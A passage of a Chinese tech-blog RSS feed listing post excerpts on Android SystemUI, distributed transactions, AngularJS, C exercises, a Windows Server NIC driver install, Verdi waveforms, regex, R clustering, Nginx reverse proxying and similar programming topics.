      <description>在前面的Android中getSystemService流程中，我们知道在系统启动的时候，会启动一些系统的必要服务，SystemUI也是在SystemServer#startOtherServices这里启动的&#xA;SystemUI启动时机 static final void startSystemUi(Context context, WindowManagerService windowManager) { Intent intent = new Intent(); intent.setComponent(new ComponentName(&#34;com.android.systemui&#34;, &#34;com.android.systemui.SystemUIService&#34;)); intent.addFlags(Intent.FLAG_DEBUG_TRIAGED_MISSING); //Slog.d(TAG, &#34;Starting service: &#34; + intent); context.startServiceAsUser(intent, UserHandle.SYSTEM); windowManager.onSystemUiStarted(); } 上面启动了SystemUIService服务，下面看看那SystemUIService服务具体做了什么&#xA;public class SystemUIService extends Service { @Override public void onCreate() { super.onCreate(); ((SystemUIApplication) getApplication()).startServicesIfNeeded(); } } SystemUIApplication#startServicesIfNeeded&#xA;public void startServicesIfNeeded() { startServicesIfNeeded(SERVICES); } private void startServicesIfNeeded(Class&amp;lt;?&amp;gt;[] services) { .... final int N = services.length; for (int i = 0; i &amp;lt; N; i++) { Class&amp;lt;?</description>
    </item>
    <item>
      <title>分布式事务10_最大努力通知形</title>
      <link>https://bchobby.github.io/posts/892f0caf160c42c00ab9100d53304414/</link>
      <pubDate>Fri, 16 Feb 2018 21:35:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/892f0caf160c42c00ab9100d53304414/</guid>
      <description>分布式事务10_最大努力通知形势 更多干货 分布式事务处理一分布式事务二分布式事务处理三分布式事务四_基于可靠消息的最终一致性分布式事务五_基于可靠消息的最终一致性_异常流程分布式事务六_常规MQ队列分布式事务七_幂等性设计分布式事务八_可靠消息最终一致性方案分布式事务九_基于可靠消息的最终一致性代码分布式事务10_最大努力通知形势柔性事务解决方案：TCC（两阶段型、补偿型）支付宝 分布式事务服务 DTS 一分布式事务服务 DTS二分布式事务服务 DTS三支付宝 分布式事务服务 DTS四 实现 业务活动的主动发，在完成业务处理后，向业务活动的被动方发送消息允许消息丢失业务活动的被动方根据定时策略，向业务活动的主动发查询，恢复丢失的业务消息 约束 被动方的处理结果不影响主动方的处理结果 成本 业务查询与校对系统的建设成本 适用范围 对业务最终一致性的时间敏感度低跨企业的业务活动 用到的服务模式 可查询操作 方案特点 业务活动的主动发在完成业务处理后，向业务活动被动方发送通知消息（允许消息丢失）主动发可以设置时间梯度通知规则，在通知失败后按照规则重复通知，直到通知N次后不再通知主动发提供校对查询接口给被动方按需校对查询，用于恢复丢失的业务消息 行业应用案例 银行通知、商户通知等（各大交易业务平台的商户通知：多次通知、查询校对、对账文件） 设计 数据库 rp_notify_record DROP TABLE IF EXISTS `rp_notify_record`; CREATE TABLE `rp_notify_record` ( `id` varchar(50) NOT NULL DEFAULT &#39;&#39; COMMENT &#39;主键ID&#39;, `version` int(11) NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;版本事情&#39;, `create_time` datetime NOT NULL DEFAULT &#39;0000-00-00 00:00:00&#39; COMMENT &#39;创建时间&#39;, `edit_time` datetime DEFAULT NULL COMMENT &#39;最后修改时间&#39;, `notify_rule` varchar(255) DEFAULT NULL COMMENT &#39;通知规则（单位:分钟）&#39;, `notify_times` int(11) NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;已通知次数&#39;, `limit_notify_times` int(11) NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;最大通知次数限制&#39;, `url` varchar(2000) NOT NULL DEFAULT &#39;&#39; COMMENT &#39;通知请求链接（包含通知内容）&#39;, `merchant_order_no` varchar(50) NOT NULL DEFAULT &#39;&#39; COMMENT &#39;商户订单号&#39;, `merchant_no` varchar(50) NOT NULL DEFAULT &#39;&#39; COMMENT &#39;商户编号&#39;, `status` varchar(50) NOT NULL DEFAULT &#39;&#39; COMMENT &#39;通知状态（对应枚举值）&#39;, `notify_type` varchar(30) DEFAULT NULL COMMENT &#39;通知类型&#39;, PRIMARY KEY (`id`), KEY `AK_KEY_2` (`merchant_order_no`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT=&#39;通知记录表 RP_NOTIFY_RECORD&#39;; rp_notify_record_log DROP TABLE IF EXISTS `rp_notify_record_log`; CREATE TABLE `rp_notify_record_log` ( `id` varchar(50) NOT NULL DEFAULT &#39;&#39; COMMENT &#39;ID&#39;, `version` int(11) NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;版本号&#39;, `edit_time` datetime DEFAULT NULL COMMENT &#39;最后修改时间&#39;, `create_time` datetime NOT NULL DEFAULT &#39;0000-00-00 00:00:00&#39; COMMENT &#39;创建时间&#39;, `notify_id` varchar(50) NOT NULL DEFAULT &#39;&#39; COMMENT &#39;通知记录ID&#39;, `request` varchar(2000) NOT NULL DEFAULT &#39;&#39; COMMENT &#39;请求内容&#39;, `response` varchar(2000) NOT NULL DEFAULT &#39;&#39; COMMENT &#39;响应内容&#39;, `merchant_no` varchar(50) NOT NULL DEFAULT &#39;&#39; COMMENT &#39;商户编号&#39;, `merchant_order_no` varchar(50) NOT NULL COMMENT &#39;商户订单号&#39;, `http_status` varchar(50) NOT NULL COMMENT &#39;HTTP状态&#39;, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT=&#39;通知记录日志表 RP_NOTIFY_RECORD_LOG&#39;; 接口 RpNotifyService public interface RpNotifyService { /** * 创建消息通知 * @param rpNotifyRecord */ public long createNotifyRecord(RpNotifyRecord rpNotifyRecord) throws NotifyBizException; /** * 修改消息通知 * @param rpNotifyRecord */ public void updateNotifyRecord(RpNotifyRecord rpNotifyRecord) throws NotifyBizException; /** * 创建消息通知记录 * @param rpNotifyRecordLog * @return */ public long createNotifyRecordLog(RpNotifyRecordLog rpNotifyRecordLog) throws NotifyBizException; /** * 发送消息通知 * @param notifyUrl 通知地址 * @param merchantOrderNo 商户订单号 * @param merchantNo 商户编号 */ public void notifySend(String notifyUrl,String merchantOrderNo,String merchantNo) throws NotifyBizException; /** * 通过ID获取通知记录 * @param id * @return */ public RpNotifyRecord getNotifyRecordById(String id) throws NotifyBizException; /** * 根据商户编号,商户订单号,通知类型获取通知记录 * @param merchantNo 商户编号 * @param merchantOrderNo 商户订单号 * @param notifyType 消息类型 * @return */ public RpNotifyRecord getNotifyByMerchantNoAndMerchantOrderNoAndNotifyType(String merchantNo , String merchantOrderNo , String notifyType) throws NotifyBizException; /** * 按条件分页查询通知记录.</description>
    </item>
    <item>
      <title>AngularJs将json字符串转为对象fromJson和将对象转为json字符串toJson</title>
      <link>https://bchobby.github.io/posts/1586eef2a5116a769dd2d1ba2adcca64/</link>
      <pubDate>Mon, 12 Feb 2018 18:36:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1586eef2a5116a769dd2d1ba2adcca64/</guid>
      <description>在AngularJs中，json形式的字符串可以转为json格式的对象，代码如下：&#xA;利用HTML5的2种本地存储方式（localStorage和sessionStorage）来做测试：&#xA;01var m = angular.module(&#39;app&#39;, []); 02m.controller(&#39;ctrl&#39;, [&#39;$scope&#39;, function($scope){ 03 $scope.data = {&#39;name&#39;:&#39;K`illCode博客&#39;}; 04 //window.localStorage.setItem(&#39;data&#39;, $scope.data); 05 //console.log(window.localStorage.getItem(&#39;data&#39;)); 06 07 window.sessionStorage.setItem(&#39;data&#39;, angular.toJson($scope.data)); 08 console.log(angular.fromJson(window.sessionStorage.getItem(&#39;data&#39;))); 09 console.log(window.sessionStorage.getItem(&#39;data&#39;)); 10}]); 下面用jQuery表单提交的案例来演示一下toJson和fromJson的用法：&#xA;toJson：将json对象转为json字符串；&#xA;fromJson：将json字符串转为json对象。&#xA;html和js部分：&#xA;01&amp;lt;!doctype html&amp;gt; 02&amp;lt;html lang=&#34;en&#34;&amp;gt; 03 &amp;lt;head&amp;gt; 04 &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; 05 &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; 06 &amp;lt;meta name=&#34;Keywords&#34; content=&#34;&#34;&amp;gt; 07 &amp;lt;meta name=&#34;Description&#34; content=&#34;&#34;&amp;gt; 08 &amp;lt;/head&amp;gt; 09 &amp;lt;body ng-app=&#34;app&#34; ng-controller=&#34;ctrl&#34;&amp;gt; 10 &amp;lt;form action=&#34;./5.php&#34; method=&#34;post&#34;&amp;gt; 11 &amp;lt;p&amp;gt; 12 &amp;lt;label&amp;gt;博客名称：&amp;lt;/label&amp;gt; 13 &amp;lt;input type=&#34;text&#34; name=&#34;name&#34; ng-model=&#34;</description>
    </item>
    <item>
      <title>教你实现首行及首列固定 Table</title>
      <link>https://bchobby.github.io/posts/a09f68242d38b118e17894245af82371/</link>
      <pubDate>Sun, 11 Feb 2018 20:39:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a09f68242d38b118e17894245af82371/</guid>
      <description>先秀一下 demo！此款 Table 源码~&#xA;表面上，在顶部及左侧悬挂两栏并非难事。但单元格尺寸根据其不确定的内容伸展，且顶部及左侧表头也应随之调整宽高。&#xA;Table 天然具备如此属性，我们可将 thead 剥离进行 fixed，但首列每一项分散在每一行，如何整体剥离？显然剥离较棘手，需转变思路。&#xA;定义新元素模拟首列并悬挂于左侧，但其单元格如何同步同行单元格高度？利用 js 获取当前行高度并赋值于首列元素，假定表格上千行便需如此操作上千次，过于麻烦...&#xA;一个 Table 难搞定，两个何如？我需要它们一模一样：&#xA;令 table1 与 table2 共享一套样式、数据便可一模一样（使两者同行同列元素尺寸同步）。将 table1 的 thead 剥离进行 fixed；table2 整体置为 fixed 覆盖于 table1 之上，并将 table2 除首列单元格外的其它元素置为透明。此时首行及首列悬挂完成了，但它们并未随表格主体的滚动而滚动。&#xA;动用 js 获取 window 滚动位置，scrollX 即为首行向左偏移距离，scrollY 为首列向上偏移距离：&#xA;var curX = 0; var curY = 0; $(window).on(&#39;scroll&#39;, function () { var scrollX = window.scrollX; var scrollY = window.scrollY; // 首行向左偏移 scrollX Math.abs(curX - scrollX) &amp;amp;&amp;amp; $(&#39;.table1 .thead&#39;).css(&#39;left&#39;, -scrollX); // 首列向上偏移 scrollY（table2 仅首列非透明等同于整体偏移） Math.</description>
    </item>
    <item>
      <title>C Primer Plus (第六版) 中文版 4.8编程练习 答案</title>
      <link>https://bchobby.github.io/posts/bcf7bb8cff778405652fa0ea864a5601/</link>
      <pubDate>Sat, 10 Feb 2018 17:08:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bcf7bb8cff778405652fa0ea864a5601/</guid>
      <description>#学习历程记录#&#xA;/*********************************************C Primer Plus 第四章 编程练习***********************************************/&#xA;1.编写一个程序，提示用户输入名和姓，然后以“名，姓”的格式打印出来&#xA;//编写一个程序，提示用户输入名和姓，然后以“名，姓”的格式打印出来 #include&amp;lt;stdio.h&amp;gt; int main(void) { char last_name[20],first_name[20]; int x=0; printf(&#34;请输入名:\n&#34;); scanf(&#34;%s&#34;,first_name); printf(&#34;请输入姓:\n&#34;); scanf(&#34;%s&#34;,last_name); printf(&#34;%s,%s\n&#34;,first_name,last_name); //以“名，姓”的格式打印出来 return 0; } 2.编写一个程序，提示用户输入名和姓，并执行以下操作：&#xA;打印名和姓，包括双引号；在宽度为20的字段右端打印名和姓，包括双引号；在宽度为20的字段左端打印名和姓，包括双引号；在比姓名宽度宽3的字段中打印名和姓。 #include&amp;lt;stdio.h&amp;gt; #include&amp;lt;string.h&amp;gt; //包含strlen()函数的头文件 int main(void) { char last_name[20],first_name[20]; int x=0,y=0; printf(&#34;请输入名:\n&#34;); scanf(&#34;%s&#34;,first_name); x=strlen(first_name);&#x9;//获取名的字符长度 printf(&#34;请输入姓:\n&#34;); scanf(&#34;%s&#34;,last_name); y=strlen(last_name);&#x9;//获取姓的字符长度 printf(&#34;您的姓名为：\&#34;%s,%s\&#34;\n&#34;,first_name,last_name);&#x9;//打印名和姓，包括双引号 printf(&#34;您的姓名为：\&#34;%*s,%s\&#34;\n&#34;,20-y,first_name,last_name);&#x9;//在宽度为20的字段右端打印名和姓，包括双引号 printf(&#34;您的姓名为：\&#34;%-*s,%-*s\&#34;\n&#34;,x,first_name,20-x,last_name);&#x9;//在宽度为20的字段左端打印名和姓，包括双引号 printf(&#34;您的姓名为：\&#34;%*s,%s\&#34;\n&#34;,x+3,first_name,last_name);&#x9;//在比姓名宽度宽3的字段中打印名和姓 return 0; } 3.编写一个程序，读取一个浮点数，首先以小数点记数法打印，然后以指数记数法打印。用下面的格式进行输出（系统不同，指数记数法显示的位数可能不同）:&#xA;输入21.3或2.1e+001；输入+21.290或2.129E+001； #include&amp;lt;stdio.h&amp;gt; int main(void) { float x; printf(&#34;请输入：&#34;); scanf(&#34;%f&#34;,&amp;amp;x); printf(&#34;%.1f或%.1e\n&#34;,x,x); //第一种情况，输入21.3，输出2.1e+001 printf(&#34;%+.3f或%.3E&#34;,x,x); //第二种情况，输入21.</description>
    </item>
    <item>
      <title>[教程]在Windows 2012 R2上安装Intel I217-V/I218-V网卡驱动</title>
      <link>https://bchobby.github.io/posts/a2db4660b8528356892e5ccc481b48aa/</link>
      <pubDate>Fri, 09 Feb 2018 13:31:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2db4660b8528356892e5ccc481b48aa/</guid>
      <description>[教程]在Windows 2012 R2上安装Intel I217-V/I218-V网卡驱动&#xA;由于Intel坑爹的在Server版不支持I217-V/I218-V网卡，研究了一番，终于把驱动装上咯。网卡型号去主板官网查看参数即可看到 以下以I218-V网卡为例。因为我是x299 1、下载Intel官方驱动： https://downloadcenter.intel.com/Detail_Desc.aspx?agr=Y&amp;amp;DwnldID=23071&amp;amp;lang=zho&#xA;注意要下64位的，下载好是名为PROWinx64.exe的文件&#xA;2、使用WinRAR右键解压缩到PROWinx64：&#xA;解压后：&#xA;3、进入\PRO1000\Winx64\NDIS64目录，找到e1d64x64.inf文件&#xA;4、用记事本打开该文件，可以看到有这么一段：&#xA;从文件下面的信息可以知道，I280-V是[E1559.6.3.1]：&#xA;对应上面那一段的：&#xA;也就是E1559.6.3.1相关的部分，这里很明显看到这个信息在6.3.1里有，在6.3里没有 所以我们要做的就是把这一段剪切到下面：&#xA;好了保存即可。&#xA;5、修改签名验证，用管理员权限打开命令提示符，输入以下两行，回车执行： bcdedit -set loadoptions DISABLE_INTEGRITY_CHECKS bcdedit -set TESTSIGNING ON&#xA;然后重启下电脑。&#xA;6、打开设备管理器，右键以太网适配器，由于我这里已经安装了，所以显示的是设备型号，否则在上面显示个黄色问号的“以太网适配器”，&#xA;7、选择“浏览计算机以查找驱动软件”：&#xA;8、选择“从计算机的设备驱动程序列表中选取”&#xA;9、找到“网络适配器”，点下一步：&#xA;10、选择“从磁盘安装”：&#xA;11、点击“浏览”：&#xA;12、选择刚才修改的文件\PRO1000\Winx64\NDIS64\e1d64x64.inf，然后点击打开：&#xA;13、点击“确定”：&#xA;14、在列表里找到I218-V：&#xA;点下一步安装，一会会提示驱动程序签名，继续安装即可。&#xA;好了重启电脑，设备就装好了，还原驱动程序签名： bcdedit -set loadoptions ENABLE_INTEGRITY_CHECKS bcdedit -set TESTSIGNING OFF&#xA;重启一切OK。&#xA;其他不支持的网卡可以参考这个安装。</description>
    </item>
    <item>
      <title>Verdi /nWave看波形的基本操作小结</title>
      <link>https://bchobby.github.io/posts/fa5afc648a77685f77bf531190b6332a/</link>
      <pubDate>Thu, 08 Feb 2018 11:24:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa5afc648a77685f77bf531190b6332a/</guid>
      <description>Verdi看波形的基本操作小结：&#xA;在代码窗口，单击选中信号，此时处于高亮状态，按Ctrl+w，可以将信号发送到波形窗口。&#xA;快捷键：（大写字母=Shift+小写）&#xA;g get, signlas添加信号，显示波形&#xA;n next, Search Forward选定信号按指定的值（上升沿，下降沿，both,指定Value）向前跳转&#xA;N 与n功能相同，方向向后&#xA;y Keep Cursor at Centor（开关）移至中央并保持居中，再按取消固定居中&#xA;c color,调整所选信号的波形显示颜色，线的粗细和类型，非常方便Debug&#xA;f full, Zoom All波形全部显示&#xA;z Zoom Out波形缩小，一般配合鼠标放大非常方便&#xA;Z Zoom In 波形放大&#xA;l last view，上次波形位置，相当于Vim里的``或&#39;&#39;&#xA;L 重新加载波形或设计文件，这个很方便，在新一次仿真完成之后Roload即可&#xA;b begin移动Cursor到波形开头&#xA;e end移动Cursor到波形结尾&#xA;r restore signals 保存波形信号列表&#xA;h hierarchy显示信号的绝对路径&#xA;H Highlight（开关）是否高亮显示所选信号&#xA;m move将信号移动到黄线位置&#xA;Delete 删除所选信号&#xA;Ctrl+Right Arrow 向右移动半屏&#xA;Ctrl+Left Arrow 向左移动半屏&#xA;鼠标：&#xA;左键：用于选择信号&#xA;右键：调出菜单&#xA;中间：单击移动黄线，拖动信号可移动位置排列顺序&#xA;滑轮：上下滚屏&#xA;左键圈定波形范围：按选定缩放&#xA;双击信号波形： 跳转到代码，并用绿色高亮该信号&#xA;双击信号：按位展开(expand)，Struct展开下一层。再双击折叠(collapse)&#xA;右键信号名-&amp;gt;Bus Operations-&amp;gt;Expand as Sub-bus-&amp;gt;可以按指定位宽展开，比如512bits的信号分成4个128的，方便查看</description>
    </item>
    <item>
      <title>美化浏览器的radio和checkbox样式</title>
      <link>https://bchobby.github.io/posts/252322d0a23d366c79c5eba694ac82f5/</link>
      <pubDate>Thu, 08 Feb 2018 10:53:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/252322d0a23d366c79c5eba694ac82f5/</guid>
      <description>先讲一下原理：checkboxhack技术&#xA;我们使用 CSS 一些特殊的选择器，然后配合单选框以及复选框自带的一些特性，可以实现元素的显示隐藏效果。然后通过一些简单的扩展，我们可以不使用任何 JavaScript 代码实现类似：自定义的单复选框，“更多”展开与收起效果，选项卡切换效果，或是多级下拉列表效果等等。&#xA;相信很多前端开发人员都会遇到 boss 让修改 checkbox 和 radio 样式，毕竟自带的样式太丑了。后来我们发现修改自带样式并不是那么容易，最后直接使出杀手锏——点击之后替换图片。&#xA;今天教大家一种方法，不用替换图片，随意修改样式。&#xA;先讲一下原理：两个关键东东，一是伪类选择器 :checked，表示对应控件元素（单选框或是复选框）选中时的样式；二就是加号 + 相邻兄弟选择器，这个符号表示选择后面的兄弟节点。于是，两者配合，就可以轻松自如控制后面元素的显示或者隐藏，或是其他样式了。&#xA;而如何让单复选框选中和不选中了，那就是 label 标签了哈，for 属性锚定对应的单选框或是复选框，然后点击这里的 label 标签元素的时候，对应的单复选框就会选中或是取消选中。然后，就有上面的效果啦！&#xA;radio 的css样式：&#xA;radio的html:&#xA;checkbox的css样式：&#xA;checkbox的html:</description>
    </item>
    <item>
      <title>java正则表达式终极总结（简单又好用）</title>
      <link>https://bchobby.github.io/posts/6544122f226922b2ad44556630d00b0f/</link>
      <pubDate>Wed, 07 Feb 2018 20:16:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6544122f226922b2ad44556630d00b0f/</guid>
      <description>一.介绍：&#xA;一. 常用格式&#xA;其中：^表示以此正则表达式开始 $是以此正则表达式结尾&#xA;1 Email地址：^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$&#xA;2 域名：[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(/.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+/.?&#xA;3 InternetURL：[a-zA-z]+://[^\s]* 或 ^http://([\w-]+\.)+[\w-]+(/[\w-./?%&amp;amp;=]*)?$&#xA;4 手机号码：^(13[0-9]|14[5|7]|15[0|1|2|3|5|6|7|8|9]|18[0|1|2|3|5|6|7|8|9])\d{8}$&#xA;5 电话号码(&#34;XXX-XXXXXXX&#34;、&#34;XXXX-XXXXXXXX&#34;、&#34;XXX-XXXXXXX&#34;、&#34;XXX-XXXXXXXX&#34;、&#34;XXXXXXX&#34;和&#34;XXXXXXXX)：^(\(\d{3,4}-)|\d{3.4}-)?\d{7,8}$&#xA;6 国内电话号码(0511-4405222、021-87888822)：\d{3}-\d{8}|\d{4}-\d{7}&#xA;7 身份证号：&#xA;15或18位身份证：^\d{15}|\d{18}$&#xA;15位身份证：^[1-9]\d{7}((0\d)|(1[0-2]))(([0|1|2]\d)|3[0-1])\d{3}$&#xA;8 中国邮政编码：[1-9]\d{5}(?!\d) (中国邮政编码为6位数字)&#xA;9 IP地址：\d+\.\d+\.\d+\.\d+ (提取IP地址时有用)&#xA;二、校验字符的表达式&#xA;1 汉字：^[\u4e00-\u9fa5]{0,}$&#xA;2 英文和数字：^[A-Za-z0-9]+$ 或 ^[A-Za-z0-9]{4,40}$&#xA;3 长度为3-20的所有字符：^.{3,20}$&#xA;4 由26个英文字母组成的字符串：^[A-Za-z]+$&#xA;5 由26个大写英文字母组成的字符串：^[A-Z]+$&#xA;6 由26个小写英文字母组成的字符串：^[a-z]+$&#xA;7 由数字和26个英文字母组成的字符串：^[A-Za-z0-9]+$&#xA;8 由数字、26个英文字母或者下划线组成的字符串：^\w+$ 或 ^\w{3,20}$&#xA;9 中文、英文、数字包括下划线：^[\u4E00-\u9FA5A-Za-z0-9_]+$&#xA;10 中文、英文、数字但不包括下划线等符号：^[\u4E00-\u9FA5A-Za-z0-9]+$ 或 ^[\u4E00-\u9FA5A-Za-z0-9]{2,20}$&#xA;11 可以输入含有^%&amp;amp;&#39;,;=?$\&#34;等字符：[^%&amp;amp;&#39;,;=?$\x22]+&#xA;12 禁止输入含有~的字符：[^~\x22]+四.特殊用法&#xA;1.替换文档里面某个字符串&#xA;String str=&#34;张三和王四是中国人&#34;; String regex2=&#34;[(张三)(王四)]&#34;;//一个*代替一个字&#xA;String regex3=&#34;(张三)&#34;;//一个字代替一个括号里面的内容&#xA;String str2=str.replaceAll(regex2,&#34;*&#34;);</description>
    </item>
    <item>
      <title>Systemverilog中使用$fsdbDumpfile</title>
      <link>https://bchobby.github.io/posts/c31530f76f576c6ac53ecfb68035bcde/</link>
      <pubDate>Wed, 07 Feb 2018 20:04:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c31530f76f576c6ac53ecfb68035bcde/</guid>
      <description>1. Testbench里面加入：&#xA;initial begin $fsdbDumpfile(&#34;hello.fsdb&#34;); $fsdbDumpvars(&#34;+all&#34;); end 其中如果不用+all的参数，SV中的struct结构体无法被Dump出来。&#xA;关于$fsdbDumpvars()以及其他相关FSDB Dumping Commands的参数的细节请参考Verdi安装目录的文档：linking_dumping.pdf&#xA;2. 保证环境变量设置正确：&#xA;NOVAS_HOME &amp;lt;novas_path&amp;gt; 3. VCS仿真命令：&#xA;Makefile添加:&#xA;SNPS_VCS_OPT+= -debug_access+cbk 或者命令行：&#xA;% vcs -debug_access+cbk &amp;lt;file_name&amp;gt; 这个参数的作用是让VCS自动设置novas.tab和pli.a两个文件，避免了写很长一串，简单方便。&#xA;4. 查看波形：&#xA;verdi -sv -f run.f -ssf ./work/hello.fsdb &amp;amp; 或&#xA;nWave ./work/hello.fsdb &amp;amp; 实验环境：&#xA;vcs-2014.03&#xA;Verdi_vK-2015.09-SP1-1</description>
    </item>
    <item>
      <title>R语言之系统聚类（层次）分析之图谱形式完整版</title>
      <link>https://bchobby.github.io/posts/cdab300360f17ffcb347cbdf5c9ee253/</link>
      <pubDate>Wed, 07 Feb 2018 16:40:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cdab300360f17ffcb347cbdf5c9ee253/</guid>
      <description>###读取数据常见错误：&#xA;在读取数据过程中可能遇到以下问题，参照上一篇博客：&#xA;可能遇到报错：&#xA;1、Error in if (is.na(n) || n &amp;gt; 65536L) stop(“size cannot be NA nor exceed 65536”) :&#xA;missing value where TRUE/FALSE needed&#xA;没有处理数据转化距离。&#xA;2、Error in hclust(dist(test)) : NA/NaN/Inf in foreign function call (arg 11)&#xA;In addition: Warning message:&#xA;In dist(test) : NAs introduced by coercion&#xA;数据读入方式错误，详见各参数，与两种数据类型。&#xA;###Plot开始画图：&#xA;&amp;gt; test&amp;lt;-read.table(&#34;C:/Users/admin/Desktop/test.txt&#34;) &amp;gt; hc = hclust(dist(test)) plot(hc,hang=1,cex=0.5,labels = NULL) ###另类聚类图&#xA;将hclude生成的对象转换为另类的聚类图&#xA;&amp;gt; hcd = as.dendrogram(hc) &amp;gt; plot(hcd) # tweeking some parameters op=par(bg=&#34;</description>
    </item>
    <item>
      <title>将一个js数组按日期分组的实现方法</title>
      <link>https://bchobby.github.io/posts/76dc4fce119d9c4e102cf833521035df/</link>
      <pubDate>Wed, 07 Feb 2018 14:49:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76dc4fce119d9c4e102cf833521035df/</guid>
      <description>举例说明： 产品需求： 假如后台返回格式： var data = [ {&#34;time&#34;: 1517482336545, &#34;location&#34;: &#34;浦东&#34;}, {&#34;time&#34;: 1517482336543, &#34;location&#34;: &#34;静安&#34;}, {&#34;time&#34;: 1516344919173, &#34;location&#34;: &#34;内环&#34;}, {&#34;time&#34;: 1515574927334, &#34;location&#34;: &#34;五环&#34;}, {&#34;time&#34;: 1517482336544, &#34;location&#34;: &#34;苏州&#34;} ]; 这就需要前台再处理成我们需要的数据了。 步骤：将毫秒转换成日期格式----处理数组---返回需要的数据格式[{time:&#34;&#34;,location：[]}] 方法： //转换时间 function transDate(n) { var date = new Date(n); var Y = date.getFullYear() + &#39;-&#39;; var M = (date.getMonth() + 1 &amp;lt; 10 ? &#39;0&#39; + (date.getMonth() + 1) : date.getMonth() + 1) + &#39;-&#39;; var D = date.</description>
    </item>
    <item>
      <title>如何将自定义网站在iphone手机上&#34;添加至主屏幕的图标&#34;</title>
      <link>https://bchobby.github.io/posts/c3c086cd55b94193225c6c204fee9cca/</link>
      <pubDate>Wed, 07 Feb 2018 11:59:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3c086cd55b94193225c6c204fee9cca/</guid>
      <description>在iphone手机上，网站可以添加到主屏幕，默认情况下，一个网站被添加到主屏幕时，默认显示的是网站截图，如何才能显示成我们自己想要设置的图标呢？我在实际工作中遇到了这个需求，将实现步骤总结如下：&#xA;1.制作4中不同尺寸的图片: &amp;lt;!--适用于 Retina 屏的 iPad--&amp;gt; &amp;lt;link rel=&#34;apple-touch-icon-precomposed&#34; sizes=&#34;144x144&#34; href=&#34;./static/apple-touch-icon-precomposed-144x144.png&#34;&amp;gt; &amp;lt;!--适用于 Retina 屏的 iPhone--&amp;gt; &amp;lt;link rel=&#34;apple-touch-icon-precomposed&#34; sizes=&#34;120x120&#34; href=&#34;./static/apple-touch-icon-precomposed-120x120.png&#34;&amp;gt; &amp;lt;!--适用于非 Retina 屏的 iPad--&amp;gt; &amp;lt;link rel=&#34;apple-touch-icon-precomposed&#34; sizes=&#34;72x72&#34; href=&#34;./static/apple-touch-icon-precomposed-72x72.png&#34;&amp;gt; &amp;lt;!--适用于非 Retina 屏的 iPhone--&amp;gt; &amp;lt;link rel=&#34;apple-touch-icon-precomposed&#34; href=&#34;./static/apple-touch-icon-precomposed-57x57.png&#34;&amp;gt; 2.vue项目中，需将4张图片放到static文件中 3.在index.html的&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;之间添加以上代码 4.部署上线 5.完成上述步骤后，在safari中打开网址 ， 你的桌面上就会出现一个类似app的图标了，大功告成了，是不是很简单呢。</description>
    </item>
    <item>
      <title>Java方法回调机制(Callback)</title>
      <link>https://bchobby.github.io/posts/c08447cb4cf55b260e145e6858fba356/</link>
      <pubDate>Wed, 07 Feb 2018 09:59:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c08447cb4cf55b260e145e6858fba356/</guid>
      <description>方式1 Request.java @Data public class Request implements Serializable { private String url; private String payCode; private String amount; } IPay.java public interface IPay { void pay(Request request); } Context.java public class Context { public void execute(IPay iPay, Request request){ System.out.println(&#34;开始支付&#34;); System.out.println(&#34;payCode:&#34;+request.getPayCode()); request.setUrl(request.getUrl()+&#34;/pay&#34;); //修改A类中的属性值 iPay.pay(request); //调用A类中的实现 System.out.println(&#34;支付结束&#34;); } } Test.java /*** * A-&amp;gt;B, B-&amp;gt;A */ public class Test { public static void main(String[] args) { final Request request = new Request(); request.</description>
    </item>
    <item>
      <title>Nginx配置反向代理-实现前后端完全分离</title>
      <link>https://bchobby.github.io/posts/ec8fa0b6bce70e1f9f39ddcb8c817f2d/</link>
      <pubDate>Tue, 06 Feb 2018 22:38:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec8fa0b6bce70e1f9f39ddcb8c817f2d/</guid>
      <description>找到nginx\conf\nginx.conf如下部分： server { listen 80; server_name localhost; #charset koi8-r; #access_log logs/host.access.log main; location / { root html; index index.html index.htm; } 修改后如下： server { listen 80; server_name painpointcloud; #charset koi8-r; #access_log logs/host.access.log main; #默认静态资源 location / { root html; index index.html index.htm; allow all; } #其他动态请求反向代理到tomcat容器 location ~ \.(json|do)?$ { index index; proxy_pass http://localhost:8080; } #配置[企业宣传]动态请求反向代理到tomcat容器 location ~ \.(com)?$ { index index; proxy_pass http://localhost:1010; } # 匹配任何以business开始的请求 location ^~ /business/ { index index; proxy_pass http://localhost:1010; } # 匹配任何以idea开始的请求 location ^~ /idea/ { index index; proxy_pass http://localhost:1010; } 说明： listen：是监听的端口，即用户访问nginx服务的端口 server_name：服务名，经过测试并不会影响到什么 location：定义资源类型与服务器中资源地址url的映射关系，可在/后面定义资源类型，可设置多个location 其中proxy_pass代表要反向代理的服务器资源url，只要资源类型匹配，在这个url下的子路径资源都可以访问到， 其中root代表本地的资源路径，同样只要资源类型匹配，这个路径下的子目录资源都可以被访问到， 一个location中只能配置一个root或proxy_pass。 修改后ngnix.</description>
    </item>
    <item>
      <title>深度学习0---写一个自己的深度学习架构</title>
      <link>https://bchobby.github.io/posts/0dab28feb3291dee778c3f3c717a1136/</link>
      <pubDate>Tue, 06 Feb 2018 18:21:19 +0800</pubDate>
